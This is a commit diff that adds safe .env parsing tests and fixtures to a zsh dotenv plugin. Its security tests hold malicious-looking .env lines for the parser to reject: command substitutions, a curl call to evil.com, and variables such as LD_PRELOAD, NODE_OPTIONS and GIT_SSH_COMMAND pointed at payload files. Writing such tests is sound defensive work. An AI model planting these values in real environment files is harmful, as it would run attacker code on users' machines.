fix(dotenv): introduce safe parsing of .env files (#13778)

* fix(dotenv): expect explicit yes before loading .env file * fix(dotenv): implement secure parsing for .env files and add comprehensive tests * feat(dotenv): check for .env file size to prevent DoS * fix(dotenv): forbid setting special variables * fix(dotenv): FIFO shouldn't be read twice * fix(dotenv): unknown vars should expand to empty * fix(dotenv): reject extremely large named pipes * docs(dotenv): update to new parsing system * fix(dotenv): add support for escaped dollars * chore(dotenv): only declare local variables once * fix(dotenv): apply review suggestions * docs(dotenv): update test instructions Co-authored-by: Carlo Sala <carlosalag@protonmail.com>
2026-05-31 08:18:26 +00:00 · 2026-05-28 20:23:45 +02:00
parent c90141ed77
commit d170d18746
10 changed files with 1219 additions and 12 deletions
--- a/plugins/dotenv/tests/_output/.gitignore
+++ b/plugins/dotenv/tests/_output/.gitignore
@@ -0,0 +1,2 @@
+*
+!.gitignore
--- a/plugins/dotenv/tests/_support/bootstrap
+++ b/plugins/dotenv/tests/_support/bootstrap
@@ -0,0 +1,139 @@
+#!/usr/bin/env zsh
+# Bootstrap script for dotenv plugin tests
+# This is sourced before any tests run and provides shared utilities
+
+# Load the dotenv plugin
+source "$PWD/dotenv.plugin.zsh"
+ZSH_DOTENV_PROMPT=false
+ZSH_DOTENV_FILE=/dev/null
+
+# Helper: Parse dotenv file in test mode
+_parse_dotenv_test() {
+  parse_dotenv "$1" "test"
+}
+
+# Helper: Parse dotenv file in export mode
+_parse_dotenv_export() {
+  unset "${(k)parameters[(R)*export*]}" 2>/dev/null || true
+
+  parse_dotenv "$1" "test"
+
+  for key in "${(k)DOTENV_TEST_VARS}"; do
+    typeset -x "$key"="${DOTENV_TEST_VARS[$key]}"
+  done
+}
+
+# Helper: Run parse_dotenv suppressing stderr
+_parse_dotenv_quiet() {
+  parse_dotenv "$@" 2>/dev/null
+}
+
+# Helper: Create a temporary test fixture
+_create_temp_fixture() {
+  local fixture
+  fixture==(:)  # Create temp file
+  echo "$fixture"
+}
+
+_write_temp_fixture() {
+  local fixture="$1"
+  > "$fixture"
+}
+
+
+# Helper: Source file with allexport and capture variables
+# Usage: _source_with_allexport "file.env"
+# Result is in DOTENV_SOURCE_VARS associative array
+_source_with_allexport() {
+  local filename="$1"
+
+  # Source with allexport in a subshell with no exported variables
+
+  # The return and capture of the exported variables is a bit of a pain:
+  # 1. We first store the key=value pairs in $vars associative array, which is
+  #    defined before allexport is set to avoid appearing in results.
+  # 2. Afterwards, we join all keys and values of the associative with null delimiters. With 
+  #    "$(@kv)vars}" we get keys and values with quotes, to retain empty values. With (pj:\0:)
+  #    we join them with nulls.
+  # 3. The caller reads this output with "${(@0)}" to split by nulls and quoting to retain
+  #    empty values, and then uses it to populate an associative array.
+  # Don't try to understand this or change it unless you have to. Debugging is a nightmare.
+  typeset -gA DOTENV_SOURCE_VARS
+  DOTENV_SOURCE_VARS=("${(@0)"$(
+    local -A vars
+
+    # Clear all exports first
+    zmodload zsh/parameter
+    unset ${(k)parameters[(R)*export*]} 2>/dev/null || true
+
+    # Source file with allexport
+    setopt localoptions allexport
+    source "$filename"
+
+    # Set all exported variables into an associative array
+    for key in ${(k)parameters[(R)*export*]}; do
+      vars[$key]="${(P)key}"
+    done
+
+    print -rn -- "${(@kvpj:\0:)vars}"
+  )"}")
+}
+
+
+## ZUnit assertion helpers
+
+_zunit_assert_function_exists() {
+  [[ "${+functions[$1]}" -eq 1 ]] && return 0
+  echo "Function '$1' does not exist"
+  exit 1
+}
+
+_zunit_assert_var_same_as() {
+  local tvalue=${${:-${(Pt)1%-*}}:-unset} tcomp=${${:-${(Pt)2%-*}}:-unset}
+  if [[ $tvalue != $tcomp ]]; then
+    echo "Type mismatch: '$1' ($tvalue) and '$2' ($tcomp)"
+    exit 78
+  fi
+
+  # Special case for associative arrays
+  if [[ ${(Pt)1} == "association" ]]; then
+    local -A value=("${(P@kv)1}") comparison=("${(P@kv)2}")
+    local -aU keys=("${(@k)value}" "${(@k)comparison}")
+
+    local ret=0 key
+    for key in "${keys[@]}"; do
+      # Key match checks
+      if [[ -v "value[$key]" && ! -v "comparison[$key]" ]]; then
+        echo "'$1[$key]' is set (value='${value[$key]}')"
+        ret=1
+      elif [[ ! -v "value[$key]" && -v "comparison[$key]" ]]; then
+        echo "'$1[$key]' is not set (expected='${comparison[$key]}')"
+        ret=1
+      # Value match checks
+      elif [[ "${value[$key]}" != "${comparison[$key]}" ]]; then
+        echo "'$1[$key]' value mismatch: '${value[$key]}' is not the same as '${comparison[$key]}'"
+        ret=1
+      fi
+    done
+
+    exit $ret
+  fi
+
+  # Generic case
+  local value="${(P)1}" comparison="${(P)2}"
+  [[ "$value" != "$comparison" ]] || exit 0
+  echo "'$1' value mismatch: '$value' is not the same as '$comparison'"
+  exit 1
+}
+
+_zunit_assert_var_is_set() {
+  [[ -v "$1" ]] && return 0
+  echo "Variable '$1' is not set"
+  exit 1
+}
+
+_zunit_assert_var_is_not_set() {
+  [[ ! -v "$1" ]] && return 0
+  echo "Variable '$1' is set"
+  exit 1
+}
--- a/plugins/dotenv/tests/_support/fixtures/dotenvjs.env
+++ b/plugins/dotenv/tests/_support/fixtures/dotenvjs.env
@@ -0,0 +1,88 @@
+# Consolidated dotenv test fixture from dotenv test suite
+# Source: https://github.com/motdotla/dotenv/tree/master/tests
+#
+# Copyright (c) 2015, Scott Motte
+# All rights reserved.
+
+# Redistribution and use in source and binary forms, with or without
+# modification, are permitted provided that the following conditions are met:
+
+# * Redistributions of source code must retain the above copyright notice, this
+#   list of conditions and the following disclaimer.
+
+# * Redistributions in binary form must reproduce the above copyright notice,
+#   this list of conditions and the following disclaimer in the documentation
+#   and/or other materials provided with the distribution.
+
+# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+# Basic assignments
+BASIC=basic
+
+# previous line intentionally left blank
+AFTER_LINE=after_line
+
+# Empty values
+EMPTY=
+EMPTY_SINGLE_QUOTES=''
+EMPTY_DOUBLE_QUOTES=""
+
+# Single quotes (literal, no expansion)
+SINGLE_QUOTES='single_quotes'
+SINGLE_QUOTES_SPACED='    single quotes    '
+DONT_EXPAND_SQUOTED='dontexpand\nnewlines'
+
+# Double quotes (with escapes)
+DOUBLE_QUOTES="double_quotes"
+DOUBLE_QUOTES_SPACED="    double quotes    "
+EXPAND_NEWLINES="expand\nnew\nlines"
+
+# Unquoted (no escape expansion)
+DONT_EXPAND_UNQUOTED=dontexpand\nnewlines
+
+# Quotes inside quotes
+DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes'
+SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes"
+
+# Comments
+# COMMENTS=work
+INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work
+INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work
+INLINE_COMMENTS_UNQUOTED=value # work
+
+# Special characters
+EQUAL_SIGNS=equals==
+RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}'
+USEREMAIL=therealnerdybeast@example.tld
+
+# Multiline values with double quotes
+MULTI_DOUBLE_QUOTED="THIS
+IS
+A
+MULTILINE
+STRING"
+
+# Multiline values with single quotes
+MULTI_SINGLE_QUOTED='THIS
+IS
+A
+MULTILINE
+STRING'
+
+# Multiline PEM certificate
+MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY-----
+MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u
+LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/
+bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/
+kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V
+u4QuUoobAgMBAAE=
+-----END PUBLIC KEY-----"
--- a/plugins/dotenv/tests/_support/fixtures/features.env
+++ b/plugins/dotenv/tests/_support/fixtures/features.env
@@ -0,0 +1,23 @@
+# Export syntax
+export EXPORTED_VAR=exported_value
+export EXPORTED_EMPTY=
+
+# Variable expansion (in-file forward references)
+BASE_URL=https://api.example.com
+API_ENDPOINT="${BASE_URL}/v1"
+FULL_ENDPOINT=$BASE_URL/v2/users
+COMBINED="${BASE_URL}_suffix"
+
+# Testing multiline quoting edge cases
+MULTILINE_UNQUOTED=This\ is\ a\ \
+multiline\ value\ that\ should\ be\ treated\ as\ a\ single\ line\ with\ a\ literal\ backslash\ and\ newline
+MULTILINE_DOUBLE_QUOTED="This is a \
+multiline value that should be treated as a single line with an actual newline character"
+MULTILINE_SINGLE_QUOTED='This is a \
+multiline value that should be treated as a single line with a literal backslash and newline'
+MULTILINE_MIXED_QUOTES="This is a \
+multiline value that should be treated as a single line with an actual newline character and a literal backslash \"and 'single quotes' inside"
+
+# Test for regressions
+DATABASE_URL="postgres://user:pass@host/db;sslmode=require"
+VAR_WITH_SEMICOLONS="value ; with ; semicolons"
--- a/plugins/dotenv/tests/basic-parsing.zunit
+++ b/plugins/dotenv/tests/basic-parsing.zunit
@@ -0,0 +1,398 @@
+#!/usr/bin/env zunit
+
+
+@setup {
+  typeset -g fixture="$(_create_temp_fixture)"
+  typeset -gA expected_vars=()
+}
+
+@teardown {
+  [[ -f "$fixture" ]] && command rm -f "$fixture"
+  unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
+}
+
+@test 'dotenv plugin loads successfully' {
+  assert "parse_dotenv" function_exists
+  assert "source_env" function_exists
+}
+
+@test 'parse returns error for unsupported mode' {
+  run _parse_dotenv_quiet "/dev/null" "export"
+  assert $state equals 0
+
+  run _parse_dotenv_quiet "/dev/null" "test"
+  assert $state equals 0
+
+  run _parse_dotenv_quiet "/dev/null" "invalid_mode"
+  assert $state equals 1
+}
+
+@test 'parse returns error for oversized file (> 10MiB)' {
+  command truncate -s 11M "$fixture" 2>/dev/null
+
+  run _parse_dotenv_quiet "$fixture" "test"
+  assert $state equals 1
+}
+
+@test 'parse returns error for non-existent file' {
+  run _parse_dotenv_quiet "/nonexistent/path/.env" "test"
+  assert $state equals 1
+}
+
+@test 'source_env loads named pipes without blocking' {
+  local tmpdir fifo output result
+  local child_pid writer_pid killer_pid child_rc
+
+  tmpdir="$(mktemp -d "${TMPDIR:-/tmp}/dotenv.XXXXXX")"
+  fifo="$tmpdir/.env"
+  output="$tmpdir/output"
+  command mkfifo "$fifo"
+
+  (
+    print -r -- 'TOKEN=secret' > "$fifo"
+  ) &
+  writer_pid=$!
+
+  (
+    ZSH_DOTENV_PROMPT=false
+    ZSH_DOTENV_FILE="$fifo"
+    source_env
+    print -r -- "${TOKEN-<unset>}" > "$output"
+  ) &
+  child_pid=$!
+
+  (
+    sleep 2
+    kill -0 $child_pid 2>/dev/null || exit 0
+    kill $child_pid 2>/dev/null || exit 0
+  ) &
+  killer_pid=$!
+
+  wait $child_pid
+  child_rc=$?
+
+  kill $killer_pid 2>/dev/null || true
+  kill $writer_pid 2>/dev/null || true
+  wait $writer_pid 2>/dev/null || true
+
+  [[ -f "$output" ]] && result="$(<"$output")"
+  command rm -rf "$tmpdir"
+
+  assert $child_rc equals 0
+  assert "$result" equals 'secret'
+}
+
+@test 'source_env rejects oversized named pipes' {
+  run zsh -fc '
+    source ./dotenv.plugin.zsh
+
+    tmpdir="$(mktemp -d "${TMPDIR:-/tmp}/dotenv.XXXXXX")" || exit 1
+    fifo="$tmpdir/.env"
+    command mkfifo "$fifo" || exit 1
+
+    cleanup() {
+      kill $killer_pid 2>/dev/null || true
+      kill $writer_pid 2>/dev/null || true
+      wait $writer_pid 2>/dev/null || true
+      command rm -rf "$tmpdir"
+    }
+    trap cleanup EXIT
+
+    (
+      {
+        print -rn -- "BIG="
+        command dd if=/dev/zero bs=10485761 count=1 2>/dev/null | tr "\0" a
+      } > "$fifo"
+    ) &
+    writer_pid=$!
+
+    (
+      sleep 2
+      kill -0 $$ 2>/dev/null || exit 0
+      kill $$ 2>/dev/null || exit 0
+    ) &
+    killer_pid=$!
+
+    ZSH_DOTENV_PROMPT=false
+    ZSH_DOTENV_FILE="$fifo"
+    source_env >/dev/null 2>&1
+  '
+
+  assert $state equals 1
+}
+
+@test 'parse basic variable assignment' {
+  > "$fixture" <<'EOF'
+# Basic assignments
+BASIC=basic
+
+# previous line intentionally left blank
+AFTER_LINE=after_line
+EOF
+
+  expected_vars=(
+    BASIC 'basic'
+    AFTER_LINE 'after_line'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse empty values' {
+  > "$fixture" <<'EOF'
+# Empty values
+EMPTY=
+EMPTY_SINGLE_QUOTES=''
+EMPTY_DOUBLE_QUOTES=""
+EOF
+
+  expected_vars=(
+    EMPTY ''
+    EMPTY_SINGLE_QUOTES ''
+    EMPTY_DOUBLE_QUOTES ''
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse single quoted values' {
+  > "$fixture" <<'EOF'
+# Single quotes (literal, no expansion)
+SINGLE_QUOTES='single_quotes'
+SINGLE_QUOTES_SPACED='    single quotes    '
+DONT_EXPAND_SQUOTED='dontexpand\nnewlines'
+EOF
+
+  expected_vars=(
+    SINGLE_QUOTES 'single_quotes'
+    SINGLE_QUOTES_SPACED '    single quotes    '
+    DONT_EXPAND_SQUOTED 'dontexpand\nnewlines'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse double quoted values' {
+  > "$fixture" <<'EOF'
+# Double quotes (with escapes)
+DOUBLE_QUOTES="double_quotes"
+DOUBLE_QUOTES_SPACED="    double quotes    "
+EXPAND_NEWLINES="expand\nnew\nlines"
+EOF
+
+  expected_vars=(
+    DOUBLE_QUOTES 'double_quotes'
+    DOUBLE_QUOTES_SPACED '    double quotes    '
+    EXPAND_NEWLINES "expand\nnew\nlines"
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse unquoted values' {
+  > "$fixture" <<'EOF'
+# Unquoted (no escape expansion)
+DONT_EXPAND_UNQUOTED=dontexpand\\nnewlines
+EOF
+
+
+  expected_vars=(
+    DONT_EXPAND_UNQUOTED 'dontexpandnnewlines'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse quotes inside quotes' {
+  > "$fixture" <<'EOF'
+# Quotes inside quotes
+DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes'
+SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes"
+EOF
+
+  expected_vars=(
+    DOUBLE_QUOTES_INSIDE_SINGLE 'double "quotes" work inside single quotes'
+    SINGLE_QUOTES_INSIDE_DOUBLE "single 'quotes' work inside double quotes"
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse inline comments' {
+  > "$fixture" <<'EOF'
+# Comments
+# COMMENTS=work
+INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work
+INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work
+INLINE_COMMENTS_UNQUOTED=value # work
+EOF
+
+  expected_vars=(
+    INLINE_COMMENTS_SINGLE_QUOTES 'inline comments outside of #singlequotes'
+    INLINE_COMMENTS_DOUBLE_QUOTES 'inline comments outside of #doublequotes'
+    INLINE_COMMENTS_UNQUOTED 'value'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse ignores non-assignment commands with assignment-looking arguments' {
+  > "$fixture" <<'EOF'
+print SHOULD_NOT_PARSE=value
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse special characters' {
+  > "$fixture" <<'EOF'
+# Special characters
+EQUAL_SIGNS=equals==
+RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}'
+USEREMAIL=therealnerdybeast@example.tld
+EOF
+
+  expected_vars=(
+    EQUAL_SIGNS 'equals=='
+    RETAIN_INNER_QUOTES_AS_STRING '{"foo": "bar"}'
+    USEREMAIL 'therealnerdybeast@example.tld'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse multiline values with mixed quotes' {
+  > "$fixture" <<'EOF'
+# Multiline values with double quotes
+MULTI_DOUBLE_QUOTED="THIS
+IS
+A
+MULTILINE
+STRING"
+
+
+# Multiline values with single quotes
+MULTI_SINGLE_QUOTED='THIS
+IS
+A
+MULTILINE
+STRING'
+
+# Multiline PEM certificate
+MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY-----
+MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u
+LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/
+bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/
+kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V
+u4QuUoobAgMBAAE=
+-----END PUBLIC KEY-----"
+EOF
+
+  expected_vars=(
+    MULTI_DOUBLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING'
+    MULTI_SINGLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING'
+    MULTI_PEM_DOUBLE_QUOTED $'-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u\nLgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/\nbTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/\nkKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V\nu4QuUoobAgMBAAE=\n-----END PUBLIC KEY-----'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse export syntax' {
+  > "$fixture" <<'EOF'
+# Exported variables
+export EXPORTED_VAR=exported_value
+export EXPORTED_EMPTY=
+EOF
+
+  expected_vars=(
+    EXPORTED_VAR 'exported_value'
+    EXPORTED_EMPTY ''
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse in-file variable expansion' {
+  > "$fixture" <<'EOF'
+# Variable expansion (in-file forward references)
+BASE_URL=https://api.example.com
+API_ENDPOINT="${BASE_URL}/v1"
+FULL_ENDPOINT=$BASE_URL/v2/users
+COMBINED="${BASE_URL}_suffix"
+EOF
+
+  expected_vars=(
+    BASE_URL 'https://api.example.com'
+    API_ENDPOINT 'https://api.example.com/v1'
+    FULL_ENDPOINT 'https://api.example.com/v2/users'
+    COMBINED 'https://api.example.com_suffix'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse in-file variable expansion prefers the longest matching variable name' {
+  > "$fixture" <<'EOF'
+A=1
+ABC=2
+X=$ABC
+Y=${ABC}
+Z=$ABCD
+EOF
+
+  expected_vars=(
+    A '1'
+    ABC '2'
+    X '2'
+    Y '2'
+    Z ''
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse preserves escaped dollar signs before variable expansion' {
+  > "$fixture" <<'EOF'
+BAR=expanded
+ESCAPED_UNQUOTED=foo\$BAR
+ESCAPED_DOUBLE="foo\$BAR"
+ESCAPED_BRACED="\${BAR}"
+EOF
+
+  expected_vars=(
+    BAR 'expanded'
+    ESCAPED_UNQUOTED 'foo$BAR'
+    ESCAPED_DOUBLE 'foo$BAR'
+    ESCAPED_BRACED '${BAR}'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
--- a/plugins/dotenv/tests/compatibility.zunit
+++ b/plugins/dotenv/tests/compatibility.zunit
@@ -0,0 +1,27 @@
+#!/usr/bin/env zunit
+
+@setup {
+  unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
+}
+
+@teardown {
+  unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
+}
+
+@test 'compatibility: dotenvjs fixture matches native source' {
+  local fixture="${testdir:A}/_support/fixtures/dotenvjs.env"
+
+  _parse_dotenv_test "$fixture"
+  _source_with_allexport "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS"
+}
+
+@test 'compatibility: features fixture matches native source' {
+  local fixture="${testdir:A}/_support/fixtures/features.env"
+
+  _parse_dotenv_test "$fixture"
+  _source_with_allexport "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS"
+}
--- a/plugins/dotenv/tests/security.zunit
+++ b/plugins/dotenv/tests/security.zunit
@@ -0,0 +1,209 @@
+#!/usr/bin/env zunit
+
+@setup {
+  typeset -g fixture="$(_create_temp_fixture)"
+  typeset -gA expected_vars=()
+}
+
+@teardown {
+  [[ -f "$fixture" ]] && command rm -f "$fixture"
+  unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
+}
+
+@test 'skip dangerous backtick command substitution' {
+  > "$fixture" <<'EOF'
+# Should be skipped
+DANGEROUS_BACKTICK=`whoami`
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip dangerous subshell command substitution' {
+  > "$fixture" <<'EOF'
+# Should be skipped
+DANGEROUS_SUBSHELL=$(date)
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip nested command substitution in double quotes' {
+  > "$fixture" <<'EOF'
+# Should be skipped
+DANGEROUS_NESTED="prefix_$(echo malicious)_suffix"
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip multiple words (potential command execution)' {
+  > "$fixture" <<'EOF'
+# Should be skipped - multiple words could execute commands
+BASE_URL=/ echo command run
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'allow literal command substitution in single quotes' {
+  > "$fixture" <<'EOF'
+# Single quotes make everything literal - should be parsed
+SAFE_SINGLE_QUOTED='$(this is literal)'
+SAFE_BACKTICK='`also literal`'
+
+# Should also be parsed
+SAFE_VAR=safe_value
+EOF
+
+  expected_vars=(
+    SAFE_SINGLE_QUOTED '$(this is literal)'
+    SAFE_BACKTICK '`also literal`'
+    SAFE_VAR 'safe_value'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip backticks in unquoted values' {
+  > "$fixture" <<'EOF'
+# Backticks in unquoted context - should be skipped
+DANGEROUS_UNQUOTED=`echo danger`
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip dollar-paren in unquoted values' {
+  > "$fixture" <<'EOF'
+# Command substitution in unquoted context - should be skipped
+DANGEROUS_UNQUOTED=$(uname -a)
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'allow safe dollar signs (variable refs without parens in single quotes)' {
+  > "$fixture" <<'EOF'
+# Dollar signs that don't start command substitution
+SAFE_DOLLARS='$HOME is literal'
+SAFE_PRICE='Cost is $50'
+SAFE_VAR='value$123'
+
+# Should all be parsed
+SAFE_VAR2=safe_value
+EOF
+
+  expected_vars=(
+    SAFE_DOLLARS '$HOME is literal'
+    SAFE_PRICE 'Cost is $50'
+    SAFE_VAR 'value$123'
+    SAFE_VAR2 'safe_value'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip quoted command substitution' {
+  > "$fixture" <<'EOF'
+HARMLESS_COMMAND="\$(echo)"
+ANOTHER_ONE=$'\x24\x28echo\x29'
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'comprehensive security test with mixed safe and dangerous patterns' {
+  > "$fixture" <<'EOF'
+# These should be SKIPPED (dangerous)
+DANGEROUS_BACKTICK=`whoami`
+DANGEROUS_SUBSHELL=$(date)
+DANGEROUS_NESTED="prefix_$(echo malicious)_suffix"
+LOOKS_SAFE=$(curl http://evil.com)
+BASE_URL=/ echo command run
+
+# These should WORK (safe)
+SAFE_BEFORE=safe_value_1
+SAFE_AFTER=safe_value_2
+SAFE_SINGLE_QUOTED='$(this is literal)'
+SAFE_SINGLE_QUOTED2='`also literal`'
+SAFE_DOLLARS='$HOME'
+SAFE_PRICE="$50"
+EOF
+
+  expected_vars=(
+    SAFE_BEFORE 'safe_value_1'
+    SAFE_AFTER 'safe_value_2'
+    SAFE_SINGLE_QUOTED '$(this is literal)'
+    SAFE_SINGLE_QUOTED2 '`also literal`'
+    SAFE_DOLLARS '$HOME'
+    SAFE_PRICE '$50'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+
+
+@test 'blocks changes of special environment variables' {
+  _parse_dotenv_test =(<<'EOF'
+# Executes on the next node/npm/npx invocation
+NODE_OPTIONS=--require=./payload.js
+
+# Used for shell initialization
+BASH_ENV=./payload.sh
+# Used for shell initialization in zsh, but also respected by some tools like git
+# - https://man7.org/linux/man-pages/man1/dash.1.html#DESCRIPTION:~:text=by%20the%20shell.-,Invocation,-If%20no%20args
+# - https://zsh.sourceforge.io/Doc/Release/Parameters.html#index-ENV
+ENV=./payload.sh
+# Used for zsh startup
+ZDOTDIR=./.malicious_zsh
+ZSH=./.malicious_zsh
+
+# These are used for native code injection
+LD_PRELOAD=./payload.so
+LD_LIBRARY_PATH=./malicious_libs
+DYLD_INSERT_LIBRARIES=./payload.dylib
+
+# Git environment variables
+GIT_CONFIG_GLOBAL=./.gitconfig-malicious
+GIT_DIR=./malicious_git_dir
+GIT_EDITOR=./malicious_editor
+GIT_EXTERNAL_DIFF=./malicious_diff
+GIT_EXEC_PATH=./.malicious_git_exec
+GIT_PAGER=./malicious_pager
+GIT_SSH=./malicious_ssh
+GIT_SSH_COMMAND=./malicious_ssh_command
+GIT_SSL_NO_VERIFY=true
+GIT_TEMPLATE_DIR=./malicious_templates # for persistence
+
+# Special exported variables
+PATH=./malicious_bin:$PATH
+EDITOR=./malicious
+VISUAL=./malicious
+PAGER=./malicious
+EOF
+)
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}